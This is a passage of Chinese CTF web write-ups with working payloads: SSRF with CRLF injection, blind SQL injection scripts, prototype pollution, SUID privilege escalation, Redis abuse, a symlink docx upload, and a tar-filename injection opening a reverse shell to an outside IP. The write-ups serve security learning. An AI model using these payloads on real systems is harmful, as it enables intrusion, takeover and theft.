        "password"=>"gueeeeest!!!!",
        "user_agent"=>$user."'s Chrome"));

    $client->calculator();

    echo file_get_contents("result");
}else{
    echo "Please give me a location";
}

<?php
error_reporting(0);
if(!isset($_POST['user'])){
    $user="stranger";
}else{
    $user=$_POST['user'];
}

if (isset($_GET['location'])) {
    $location=$_GET['location'];
    $client=new SoapClient(null,array(
        "location"=>$location,
        "uri"=>"hahaha",
        "login"=>"guest",
        "password"=>"gueeeeest!!!!",
        "user_agent"=>$user."'s Chrome"));

    $client->calculator();

    echo file_get_contents("result");
}else{
    echo "Please give me a location";
}
#本关思路:通过CRLF漏洞进行换行,构造规范的http数据包。通过对<h4>d3333.php页面$_GET['location']传值=http://127.0.0.1/calculator.php进行SSRF
#攻击calulator.php;向$_POST['user'],user=wupco%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aAuthorization:%20Basic%20YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0d%0aContent-Length:%2022%0d%0a%0d%0aexpression=`cat%20/flag`
#url解码后入下图所示。

user=wupco 
Content-Type: application/x-www-form-urlencoded
Authorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0 #base64解码后就是aaaaaaaaaaaadmin:i_want_to_getI00_inMyT3st //
Content-Length: 22 //22的长度得算出来

expression=`cat /flag`user=wupco  //对方文件需要expression参数,该参数的值用来eval执行,对方会把cat /flag结果写进/result文件里面
Content-Type: application/x-www-form-urlencoded
Authorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0
Content-Length: 22

expression=`cat /flag`


user=lol
Content-Type: application/x-www-form-urlencoded
Authorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0
Content-Length: 28

expression=shell_exec('env')
<?php
$admin="aaaaaaaaaaaadmin";
$adminpass="i_want_to_getI00_inMyT3st";

function check($auth) {
    global $admin,$adminpass;
    $auth = str_replace('Basic ', '', $auth); //将Basic去除掉,
    $auth = base64_decode($auth);//base64解码
    list($username, $password) = explode(':', $auth);//解码后的以:分号为分隔,将账号密码分别赋值给username喝password
    echo $username."<br>".$password;
    if($username===$admin && $password===$adminpass) {//传过去的账号得=aaaaaaaaaaaadmin,密码得等于i_want_to_getI00_inMyT3st
        return 1;
    }else{
        return 2;
    }
}
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
    exit("Hacker");
}
$expression = $_POST['expression']; 
$auth=$_SERVER['HTTP_AUTHORIZATION']; //获取HTTP认证头,从$_SERVER数组中获取HTTP_AUTHORIZATION头的值。其中HTTP_AUTHORIZATION是HTTP请求头中的Authorization字段。
if(isset($auth)){
    if (check($auth)===2) {
        if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
            die("Invalid expression");
        }else{
            $result=eval("return $expression;");
            file_put_contents("result",$result);
        }
    }else{
        $result=eval("return $expression;");
        file_put_contents("result",$result);
    }
}else{
    exit("Hacker");
}


user=wupco
Content-Type: application/x-www-form-urlencoded
Authorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0
Content-Length: 22

expression=`cat /flag`user=wupco
Content-Type: application/x-www-form-urlencoded
Authorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0
Content-Length: 22

expression=`cat /flag`

calculator 中有 eval 可以执行语句,但是有 $_SERVER['REMOTE_ADDR'] 限制,而 remote_addr 是很难伪造的。所以先看 h4d333333.php 有一个 SoapClient 发送请求,可以利用它访问 calculator (SSRF 攻击点)

审查源码,先添加一个 GET 参数 location=http://127.0.0.1/calculator.php

$client->calculator(); 这句会触发 SoapClient 请求到指定 location,导致 calculator.php 被访问,并且会执行其中的代码

另一个用户可以指定的地方是 "user_agent"=>$user."'s Chrome",这句会被插入到请求头中作为 User-Agent 字段,那么就可以注入 CRLF ,即通过 \r \n 控制请求头,构造其他请求字段

在 calculator 中会获取 Authorization 值去掉 Basic 并 base64 decode,根据源码把用户名和密码以冒号连接, base64 encode 后作为 Authorization 的值 下面指定 Content-TypeContent-Lenth,加两个 CRLF 并指定 POST 参数

所以添加 POST 参数

user=lol%0D%0AContent-Type: application/x-www-form-urlencoded%0D%0AAuthorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0D%0AContent-Length: 28%0D%0A%0D%0Aexpression=shell_exec('env')

执行后根据 calculator.php 源码,它应该会把命令执行结果写入到网站目录下 reuslt 文件,所以访问 /result 就可以把文件下载下来,从而得到终端命令执行输出 这题的 flag 不在环境变量而是在 /flag 中 (cat /flag)

本地测试的时候需要注意 Apache 需加上以下配置项使得程序能够获取到 Authorization 的值

SetEnvIf Authorization .+ HTTP_AUTHORIZATION=$0

ez_js

随便填一组账密登录,响应中给出了提示: Username:${{Author}} Password:len(password) = 6 弱密码&纯数字

这个插值语法 Author 可能是指出题人 ID (Starven),弱密码纯数字猜一个 123456。点 Login 对了,响应给出了源码

const { merge } = require("./utils/common.js")
function handleLogin(req, res) {
  var geeker = new (function () {
    this.geekerData = new (function () {
      this.username = req.body.username
      this.password = req.body.password
    })()
  })()
  merge(geeker, req.body)
  if (
    geeker.geekerData.username == "Starven" &&
    geeker.geekerData.password == "123456"
  ) {
    if (geeker.hasFlag) {
      const filePath = path.join(__dirname, "static", "direct.html")
      res.sendFile(filePath, (err) => {
        if (err) {
          console.error(err)
          res.status(err.status).end()
        }
      })
    } else {
      const filePath = path.join(__dirname, "static", "error.html")
      res.sendFile(filePath, (err) => {
        if (err) {
          console.error(err)
          res.status(err.status).end()
        }
      })
    }
  } else {
    const filePath = path.join(__dirname, "static", "error2.html")
    res.sendFile(filePath, (err) => {
      if (err) {
        console.error(err)
        res.status(err.status).end()
      }
    })
  }
}
function merge(object1, object2) {
  for (let key in object2) {
    if (key in object2 && key in object1) {
      merge(object1[key], object2[key])
    } else {
      object1[key] = object2[key]
    }
  }
}
module.exports = { merge }

JavaScript

可见把请求体生成一个 geeker 再把整个请求体合并进来,如果 geeker.hasFlag 为 true 就进行下一步

所以手动构造请求体

{
    "username": "Starven",
    "password": "123456",
    "hasFlag": true
}

JSON

然后提示去 /flag 看看

又是一个输入框,输个 1 提示与 "还是和登陆一样,我只是略施小计,你知道咋绕过吗?",输入的是 GET 参数 syc,如果用 POST 会提示 Cannot POST /flag 于是试试 syc={"username": "Starven","password": "123456","hasFlag": true} 果然被过滤了: 就这还想要flag? 需要想方法绕过

多次测试

{"username": "Starven","password": "123456"}
{"password": "123456"}  // 未被过滤
,

发现过滤了逗号

又尝试了

{"username": "Starven"\x2c"password": "123456"\x2c"hasFlag": true}
{"username": "Starven"\u002c"password": "123456"\u002c"hasFlag": true}

应该把 2c 也过滤了

利用一个特性: nodejs 处理查询参数的的时候,会把这些值都放进一个数组中。而 JSON.parse 会把数组中的字符串都拼接到一起,再看满不满足格式,满足就进行解析,因此这样分开来传就可以不使用逗号从而绕过了

syc={"username": "Starven"&syc="password": "123456"&syc="hasFlag": true}

funnySQL

爆表名:

import requests
import time
#flag=" \~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!"
flag="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@[]{}-,"
result=''
i=1
j=0
while i<=30:
    while j<len(flag):
        start_timer=time.time()
        x=requests.request('get',f"http://80-bc9b6fb6-fc80-4cf9-8b1a-cb5e77c31f72.challenge.ctfplus.cn/index.php?username=1'^if(substr((select%09group_concat(table_name)%09from%09mysql.innodb_table_stats%09where%09database_name%09like%09'syclover'),{i},1)%09LIKE%09BINARY%09'{flag[j]}',benchmark(99999999,1%2b1),0)%23");
        end_timer=time.time()
        if (end_timer-start_timer)>2:
            result=result+flag[j]
            print(str(i)+' table_name:'+result)
            break
        j+=1
    j=0
    i+=1

爆出表名为Rea11ys3ccccccr3333t,猜测列名为flag,爆出flag:

import requests
import time
#flag=" \~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!"
flag="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@[]{}-,"
result=''
i=1
j=0
while i<=100:
    while j<len(flag):
        start_timer=time.time()
        x=requests.request('get',f"http://80-bc9b6fb6-fc80-4cf9-8b1a-cb5e77c31f72.challenge.ctfplus.cn/index.php?username=1'^if(substr((select%09group_concat(flag)%09from%09Rea11ys3ccccccr3333t),{i},1)%09LIKE%09BINARY%09'{flag[j]}',benchmark(99999999,1%2b1),0)%23");
        end_timer=time.time()
        if (end_timer-start_timer)>2:
            result=result+flag[j]
            print(str(i)+' table_name:'+result)
            break
        j+=1
    j=0
    i+=1
 

image-20250327203314790

翻斗幼儿园历险记

一、搭建:

docker-compose up -d 运行那个docker-compose.yml文件即可

image-20250327203752856

打开127.0.0.1:32777就运行好了

image-20250327204004316

2、打法

文件上传

image-20250327204028885

前端过滤,bp抓包改后缀即可

image-20250327204331766

image-20250327204744824

盲猜一波,上传的目录是/uploads下面

哥斯拉连上马后,发现没有权限

image-20250327205105208

提权看看

查找具有root权限的命令

find / -perm -u=s -type f 2>/dev/null

image-20250327205302057

发现find具有这个权限,就可以用find命令提权

find / -exec /bin/bash -p \;

提权后,发现nmd是个假flag

image-20250327212008847

这会大概猜到了是个内网题,frp搭个隧道看看

image-20250327212234408

启动下vps的服务端

image-20250327212522964

客户端给frpc权限

image-20250327213455651

客户端运行frp

image-20250327213040544

查一下ip

image-20250327213310901

配个代理就可以访问内网了

image-20250327213650259

router scan扫一下内网其他机器

image-20250327213710129

记得routescan配置代理

image-20250327213818071

扫到存活的机器了

image-20250327214014571

进去看一下

注册个号

image-20250327214115848

要我算一万次不可能

image-20250327214137804

看源码

image-20250327214204129

image-20250327214412747

image-20250327214440343

在admin.php里面

image-20250327214452851

艹了,要admin权限

访问一下

image-20250328134656303

但给的源码中有redis的文件,看下能不能redis未授权

内网题,得用proxychains设置我的vps代理打redis

给kali安装代理proxychains

sudo apt install proxychains

配置代理

sudo vim /etc/proxychains.conf

image-20250328132929192

给一个命令实现代理,只要在这个命令前面加上proxychains这个命令就好

proxychains redis-cli -h 172.11.0.3 -p 6379

成功连上内网的redis

image-20250328133402648

看见我的角色只是个noBody

image-20250328133446923

想办法把我的role角色写成admin

image-20250328133751184

set user:test eyJwYXNzd29yZCI6InRlc3QiLCJyb2xlIjoiYWRtaW4ifQ==

image-20250328133916574

这会拿test账号密码admin登录

image-20250328134739626

再访问admin.php

image-20250328134754794

这题考的就是个word文档上传

其实word文档本质上就是个压缩包,你用bandzizip都可以把它解压成几个文件

image-20250328135854456

审计一下admin.php

<?php
require_once 'common.php';
$user = getCurrentUser();#调用 getCurrentUser() 函数,获取当前用户的信息
if (!$user || $user['role'] !== 'admin') {
    header('HTTP/1.1 403 Forbidden');
    die('<h1 class="text-light">403 Forbidden - 权限不足</h1>');
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    define('REL_FILENAME', 'word/_rels/document.xml.rels');#定义一个常量 REL_FILENAME,其值为 'word/_rels/document.xml.rels'。这是 Word 文档中存储文档关系(如图片引用关系)的文件路径。

    function hellYeah($code, $msg): void
    {
        http_response_code($code);
        die("<div class='neu-card'><div class='alert alert-danger'>$msg</div></div>");
    }

    if (!isset($_FILES['input'])) hellYeah(400, '请选择要上传的文件');
    if ($_FILES['input']['error'] !== UPLOAD_ERR_OK) hellYeah(500, '文件上传错误');
    if ($_FILES['input']['type'] != 'application/vnd.openxmlformats-officedocument.wordprocessingml.document')#查文件类型是否为 .docx(通过 MIME 类型检查)。
        hellYeah(400, '请上传Word文档 (.docx)');

    $zip = new ZipArchive();#创建一个 ZipArchive 对象,用于处理 .docx 文件(因为 .docx 文件本质上是一个 ZIP 包)。
    $zipFilename = $_FILES['input']['tmp_name'];#获取临时文件名
    if ($zip->open($zipFilename) !== true || $zip->locateName(REL_FILENAME) === false)
        hellYeah(400, '无效的Word文档格式');#检查是否包含 word/_rels/document.xml.rels 文件,以验证是否为有效的 Word 文档

    $relsDom = simplexml_load_string($zip->getFromName(REL_FILENAME));#使用 simplexml_load_string 函数解析 document.xml.rels 文件的内容。
    if ($relsDom === false) hellYeah(400, '文档关系表解析失败');

    $tmpDir = exec("mktemp -d --tmpdir=/tmp");#使用 mktemp 命令创建一个临时目录(存储提取的图片)
    shell_exec("unzip $zipFilename \"word/media*\" -d \"$tmpDir\"");#使用 unzip 命令从 .docx 文件中提取 word/media 目录下的所有图片文件到临时目录

    function cleanup($tmpDir): void
    {
        shell_exec("rm -rf $tmpDir");
    }

    register_shutdown_function('cleanup', $tmpDir);

    @chdir("$tmpDir/word/media");#将当前工作目录切换到 word/media。
    ini_set('open_basedir', '.');#设置 open_basedir 限制,确保只能访问当前目录。

    $messages = [];
    foreach($relsDom->Relationship as $rel) {#遍历 document.xml.rels 文件中的 <Relationship> 元素。
        if($rel['Type'] == 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/image') {
            if (!str_starts_with($rel['Target'], 'media/'))#如果目标路径以 media/ 开头,提取文件名并读取文件内容。
                continue;
            $filename = substr($rel['Target'], 6);
            $file = @file_get_contents($filename);
            if ($file === false)
                break;
            if ($result = @base64_encode($file))
                $messages[] = $result;
        }
    }
    system("rm -rf $tmpDir");
}

这个的思路就是直接创建个docx文档,然后用bandizip解压

image-20250328164043231

接着把documengt.xml.rels文件改了,用php伪协议读文件

image-20250328164106398

image-20250328164143530

然后,再创建个软链接mdia指向根目录

image-20250328164310594

接着把所有文件打包成zip

image-20250328164335249

再把这个zip文件改为docx文档,上传即可

image-20250328164402994

总体思路就是,利用软链接把工作目录media目录指向根目录,因为题目会提取documengt.xml.rels文件里面的图片至media,还会解析,所以documengt.xml.rels文件里的图片改为php伪协议来读取flag

web大道轮回

利用一下脚本跑出hash碰撞

import hashlib
import random
import string

def generate_random_string(length=16):
    return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))

def find_sha256_prefix(prefix, length=16, max_attempts=1000000):
    for _ in range(max_attempts):
        random_string = generate_random_string(length)
        hash_value = hashlib.sha256(random_string.encode()).hexdigest()
        if hash_value.startswith(prefix):
            return random_string, hash_value
    return None, None

prefix = '647d99'
random_string, hash_value = find_sha256_prefix(prefix)
if random_string:
    print(f"找到符合条件的字符串: {random_string}")
    print(f"其SHA-256哈希值: {hash_value}")
else:
    print("未找到符合条件的字符串")

image-20250117094405519

传入get参数sha256,且后面的命令用分号;绕过

image-20250117094417371

web关关难过

第一关:MD5和sha1的弱比较(科学计数法绕过),14_12_45参数通过hash碰撞得到

碰撞脚本

import hashlib
import itertools

# 目标MD5哈希值
target_hash = "19cb79e80ab6d5400950c392d077cc1c"

# 生成所有可能的密码组合
def generate_passwords():
    digits = '0123456789'  # 只包含数字
    # 生成左边的四个数字
    for left in itertools.product(digits, repeat=4):
        # 生成右边的三个数字
        for right in itertools.product(digits, repeat=3):
            # 拼接成完整密码
            password = ''.join(left) + '7894' + ''.join(right)
            print(password)
            yield password

# 尝试每个密码
for password in generate_passwords():
    # 计算当前密码的MD5哈希值
    hash_digest = hashlib.md5(password.encode()).hexdigest()

    # 检查是否匹配目标哈希值
    if hash_digest == target_hash:
        print(f"找到匹配的密码: {password}")
        break
else:
    print("未找到匹配的密码")

payload:one=aaroZmOk&two=QNKCDZO&14_12_45=65417894321&14_12_45=65417894321

image-20250117164426899

第二关:pass值根本不用传(是个幌子),只要自己传个key值跟题目一样即可

?key=b84eb44c485303b69630663fc2f9c050af508dda

image-20250117164511550

第三关:反斜杠绕过(换行绕过),执行cat命令即可

paload:input=ca\t%20/fllllag

image-20250117165348874

ez_upload

1、打开看到一个文件上传

2、直接上传个马,发现NOT THIS。应该是上传不了

image-20250330115412560

3、也许是过滤了后缀,看下其它后缀能绕过没.换成大写,依然绕过不了

image-20250330115529193

换成phtml发线竟然上传成功了。上传路径也告诉我了

image-20250330115611703

连一下webshell

发现秘钥路径/var/www/rssss4a

image-20250330115843433

[CISCN 2023 华北]pysym

一、打开题目

发现文件上传,并提示我no symlink无符号链接(软连接)

image-20250412183902184

只接受.tar类型的文件

image-20250412183923860

打开附件源码:

from flask import Flask, render_template, request, send_from_directory
import os
import random
import string
app = Flask(__name__)
app.config['UPLOAD_FOLDER']='uploads'	#上传路径是'uploads'
@app.route('/', methods=['GET'])	#定义一个路由,用来处理GET请求,常用来显示上传页面
def index():	#定义index函数,用于渲染index.html模板
    return render_template('index.html')	#render_template 函数用于渲染模板文件并将其发送到客户端。
@app.route('/',methods=['POST'])	#定义一个路由,用来处理POST请求,用于处理文件上传和解压缩
def POST():	#定义了一个POST()函数
    if 'file' not in request.files:	#检查请求中是否包含文件,没有就返回'No file uploaded.'
        return 'No file uploaded.'
    file = request.files['file']	#获取上传的文件,检查文件大小是否超过10240,如果超过就返回'file too lager'
    if file.content_length > 10240:
        return 'file too lager'
    path = ''.join(random.choices(string.hexdigits, k=16))	#使用random.choices函数在string.hexdigits这个包含十六进制数字和字母的字符串中随机选择字符生成一个16位的字符串,并赋值给path变量
    directory = os.path.join(app.config['UPLOAD_FOLDER'], path)	#使用os.path.join函数,拼接app.config['UPLOAD_FOLDER']和path,这里的app.config['UPLOAD_FOLDER']'='uploads',并赋值给directory变量,在这里directory是上传文件的路径
    os.makedirs(directory, mode=0o755, exist_ok=True)	#使用os.makedirs函数,创建一个目录,目录名是变量directory的值,并给权限755,如果已经存在相同的目录,则不抛出异常
    savepath=os.path.join(directory, file.filename)	#使用os.path.join函数,拼接directory和file.filename的内容,并赋值给savepath变量,file.filename是上传的文件名,在这里savepath是拼接后的文件保存路径,即上传目录路径和文件名的组合
    file.save(savepath)	#将上传的文件保存到指定路径,在这里路径是变量savepath的内容
    try:
     os.system('tar --absolute-names  -xvf {} -C {}'.format(savepath,directory))	#调用系统命令来解压缩上传的文件到指定目录中,在这里文件的变量savepath的内容,目录是变量directory的内容,举例:'savepath=C:\Users\杨\Desktop\1.txt','directory=C:\Users\杨\Desktop'
    except:
        return 'something wrong in extracting'	#否则输出'something wrong in extracting'

##29行代码到40行代码作用:遍历上传的文件夹,检查其中的文件是否是符号链接或目录,然后将非符号链接文件的路径存储在 links 列表中,并将这些文件的路径传递给模板 index.html 以便在页面上显示这些文件的链接
    
    links = []	#创建一个空列表 links,用于存储文件路径
    for root, dirs, files in os.walk(directory):	#使用os.walk()函数遍历指定目录directory及其子目录中的所有文件和文件夹,root是当前目录,dirs是当前目录的所有子目录,files是当前目录中的所有文件
        for name in files:	#遍历当前目录中的所有文件
            extractedfile =os.path.join(root, name)	#使用os.path.join函数拼接,当前目录和文件名,并赋值给extractedfile变量
            if os.path.islink(extractedfile):	#使用os.path.islink函数判断extractedfile变量,如果extractedfile变量是软链接就删除extractedfile,然后返回'no symlink'
                os.remove(extractedfile)
                return 'no symlink'
            if  os.path.isdir(path) :	#使用os.path.isdir函数判断path变量是否是一个目录,如果是目录就返回'no directory'
                return 'no directory'
            links.append(extractedfile)	#将当前文件的路径添加到 links 列表中
    return render_template('index.html',links=links)	#完成遍历后,将收集到的文件路径传递给名为 index.html 的模板,用于渲染页面显示这些文件的链接
@app.route("/uploads/<path:path>",methods=['GET'])	#指定了一个路由 /uploads/<path:path>,当用户通过 GET 请求访问这个路由时,会执行相应的处理逻辑	
def download(path):	#定义了一个download()函数,接受一个path的参数,表示要下载的文件路径
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], path)	#使用os.path.join函数,将app.config['UPLOAD_FOLDER']变量和path变量进行拼接,即要下载文件的完整路径,并赋值给filepath变量
    if not os.path.isfile(filepath):	#使用os.path.isfile函数,判断filepath变量所指的文件是否存在,如果不存在就返回'404',表示文件不存在
        return '404', 404
    return send_from_directory(app.config['UPLOAD_FOLDER'], path)	#如果文件存在,使用send_from_directory函数从指定目录中发送文件给客户端进行下载,这里是uploads目录里的path变量所指的文件,举例:如果'path=1.txt'那么要下载的文件就是'/uploads/1.txt',这个函数会发送文件给客户端,实现文件下载的功能
if __name__ == '__main__':	#检查当前模块是否作为主程序执行。当 Python 解释器执行一个脚本时,__name__ 变量会被设置为 '__main__'表示执行下面的代码
    app.run(host='0.0.0.0',port=1337)	#启动 Flask 应用程序,使其在所有网络接口上监听端口 1337,以便接受来自网络的请求


30行代码举例:

假设有如下文件结构root_directory/
├── file1.txt
├── file2.jpg
├── sub_directory/
│ ├── file3.pdf
│ └── file4.docx
假设根目录为 root_directory/,包含了 file1.txt、file2.jpg 以及一个子目录 sub_directory/,其中 sub_directory/ 中包含了 file3.pdf 和 file4.docx。现在让我们来看一下在遍历这个目录结构时,os.walk() 函数会返回的内容:

root: 表示当前目录的路径。在这个例子中,初始时 root 会是 root_directory/,然后会依次变为 root_directory/sub_directory/。
dirs: 包含当前目录中所有子目录的名称。在这个例子中,当 root 是 root_directory/ 时,dirs 会是 [‘sub_directory’],表示根目录下有一个名为 sub_directory 的子目录。当 root 是 root_directory/sub_directory/ 时,dirs 会是 [],表示子目录下没有其他子目录。
files: 包含当前目录中所有文件的名称。在这个例子中,当 root 是 root_directory/ 时,files 会是 [‘file1.txt’, ‘file2.jpg’],表示根目录下有两个文件。当 root 是 root_directory/sub_directory/ 时,files 会是 [‘file3.pdf’, ‘file4.docx’],表示子目录中有两个文件。

因此,根据你提供的文件结构,在遍历 root_directory/ 目录时,root、dirs 和 files 的值会依次是:

root: root_directory/
dirs: [‘sub_directory’]
files: [‘file1.txt’, ‘file2.jpg’]

在遍历 root_directory/sub_directory/ 目录时,root、dirs 和 files 的值会依次是:

root: root_directory/sub_directory/
dirs: []
files: [‘file3.pdf’, ‘file4.docx’]

做题过程:

经过浏览源码可知:我们需要利用的点是
os.system(‘tar --absolute-names -xvf {} -C {}’.format(savepath,directory))’
这一行代码,当解压的时候,如果我们利用管道符 ’ | ’ 去拼接我们的命令,所以我们在进行抓包,修改文件名,进行拼接我们的反弹shell,管道符会将前面命令的输出作为后面命令的输入

源代码中比较重要的两个变量

#例如directory == "uploads/a3F7Bc82e9D45E1f"

#例如savepath=="uploads/a3F7Bc82e9D45E1f/1.tar"

注意点:# 将uploads/a3F7Bc82e9D45E1f/1.taruploads/a3F7Bc82e9D45E1f/1.tar这个文件解压到uploads/a3F7Bc82e9D45E1f/下面

然后我们构造命令1.tar | echo bash -c 'bash -i >& /dev/tcp/101.201.58.13/7777 0>&1' | base64 -d | bash |
然后把反弹shell部分 bash -c 'bash -i >& /dev/tcp/101.201.58.13/7777 0>&1'进行base64编码,然后就可以进行反弹shell了,注意要用英文的单引号,不要用中文的

1.tar | echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMjAxLjU4LjEzLzc3NzcgMD4mMSc=
-d | bash |

payload打进去后,目标会执行

os.system('tar --absolute-names  -xvf uploads/a3F7Bc82e9D45E1f/1.tar | echo YmFzaCAtYyDigJhiYXNoIC1pID4mIC9kZXYvdGNwLzEwMS4yMDEuNTguMTMvNzc3NyAwPiYx4oCZ | base64 -d | bash | -C uploads/a3F7Bc82e9D45E1f

#echo "YmFzaCAtYyDigJhiYXNoIC1pID4mIC9kZXYvdGNwLzEwMS4yMDEuNTguMTMvNzc3NyAwPiYx4oCZ"
 输出一段 Base64 编码的字符串。
 
 #base64 -d
解码 Base64 字符串,得到原始命令。

#bash
 执行解码后的命令(实际攻击部分)。

这个命令的意图是:

  1. 解压 uploads/a3F7Bc82e9D45E1f/1.tar 文件。
  2. 在解压过程中,通过管道将一个反向 Shell 命令(经过 Base64 编码和解码)注入并执行。
  3. 尝试将当前系统的 Shell 会话连接到远程服务器

image-20250412202729574

[安洵杯 2019]easy_web

一、打开题目,发现url中 有img参数,参数内容像是base64编码,但是你得把Yz0个删掉再解码,删成24位,

base64编码后长度

beforeEncode为Encode之前的字符串

那么Encode后的字符串长度为:

1、如果beforeEncode.length()是3的整数倍,那么长度为

(beforeEncode.length()/3)*4

2、如果beforeEncode.length()不是3的整数倍,那么长度为

(beforeEncode.length()/3+1)*4

image-20250412211110581

解码后

image-20250412211506434

发现还有一层base64,而且也得把Nj给删掉,要符合base64编码后的长度,第二次base64解码得到

3535352e706e67,看着像16进制啊

image-20250412211529106

image-20250412211737727

题目打开源代码是这样,555.png图片的内容,base64编码后的数据

<img src='data:image/gif;base64,完整的Base64编码数据'>

image-20250412212103151

那么我来读取一下index.php看看,将它16进制编码,再两次base64编码,得到index.php对应的

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

将TmprMlpUWTBOalUzT0RKbE56QTJPRGN3穿进去,查看源代码显示index.php的base64编码的内容

image-20250412212450618

得到源码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

其实有时候,你获取可以试试看,访问下有没有hint.php,不过这里没有

代码审计下面的代码

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|'|"|`|;|,|*|?|\|\\|n|t|r|xA0|{|}|(|)|&[^d]|@|||\$|[|]|{|}|(|)|-|<|>/i", $cmd)) {     
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {    //a和b的内容不一样但是需要md5值一样
        echo `$cmd`;          //将cmd当成系统命令执行并输出
    } else {
        echo ("md5 is funny ~");
    }
}


这里的MD5得使用强绕过,不能使用数组绕过,因为这里使用了String强转换,数组都被强制转换为了string(5) “Array”

md5强绕过用fastcoll

1.创建一个文件test.txt,文件里面数遍输入点内容

然后输入下面的命令,就可以生成两个文件1.txt 和2.txt

由于生成的文件是十六进制编码后的结果,这里用hxd打开,可以看到生成的1.txt和2.txt都有初始的aleicnb

img

windows上输入这样的命令,可以看到这两个文件的md5值是一样的

这个小工具用来生成两个md5值相同的文件,还是很迅速的

写个php脚本获取下文件里面的内容,并进过URL编码

<?php
function readmyfile($path){
    $fh = fopen($path, "rb");
    $data = fread($fh, filesize($path));
    fclose($fh);
    return $data;
}
$a = urlencode(readmyfile("C:/Users/LIUCH/Desktop/3.txt"));
$b = urlencode(readmyfile("C:/Users/LIUCH/Desktop/4.txt"));
if(md5((string)urldecode($a))===md5((string)urldecode($b))){
    echo $a;
}
if(urldecode($a)!=urldecode($b)){
    echo $b;
}

从两个文件获取内容和md5值,用url编码输出不可见字符

这样得到了一串不相等但是md5值相等的字符内容,

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

bp抓包把post数据a和b放进去,因为这写是已经编码了的,如果是放在hackbar里面,它又会编码一次。

这里抓包放进去

burp 攻击代码cmd可能用到的命令
cmd=dir+/     #空格都用+代替 ,或者再bp中用%20也行
cmd=c\at+/flag
cmd=sort+/flag
cmd=rec+/flag

利用反斜杠进行绕过的原理

\s\y\s\t\e\m('whoami');  // 等价于 system('whoami')
PHP 在解析函数名时,会忽略函数名中的 \,将其视为普通字符,但最终仍能正确调用函数
include('.\..\..\etc\passwd');  // Windows 路径跳转
\ 可以作为目录分隔符(尤其在 Windows 系统),可能绕过基于 / 的路径检查:
// 假设过滤了单引号,但未过滤转义
eval('echo \'hello\';');  // 用 \' 绕过对 ' 的直接过滤

image-20250413181648586

NSSCTF{08ba6073-a07e-44e6-aeb8-6a4bf5f4bf33}

这里有个知识

在 PHP 中
1. !=(不相等,松散比较)

    只比较值,不比较类型。

    如果两个值的类型不同,PHP 会尝试将它们转换为相同的类型再比较。

    例如:"5" != 5 返回 false,因为字符串 "5" 会被转换成数字 5,然后比较值。

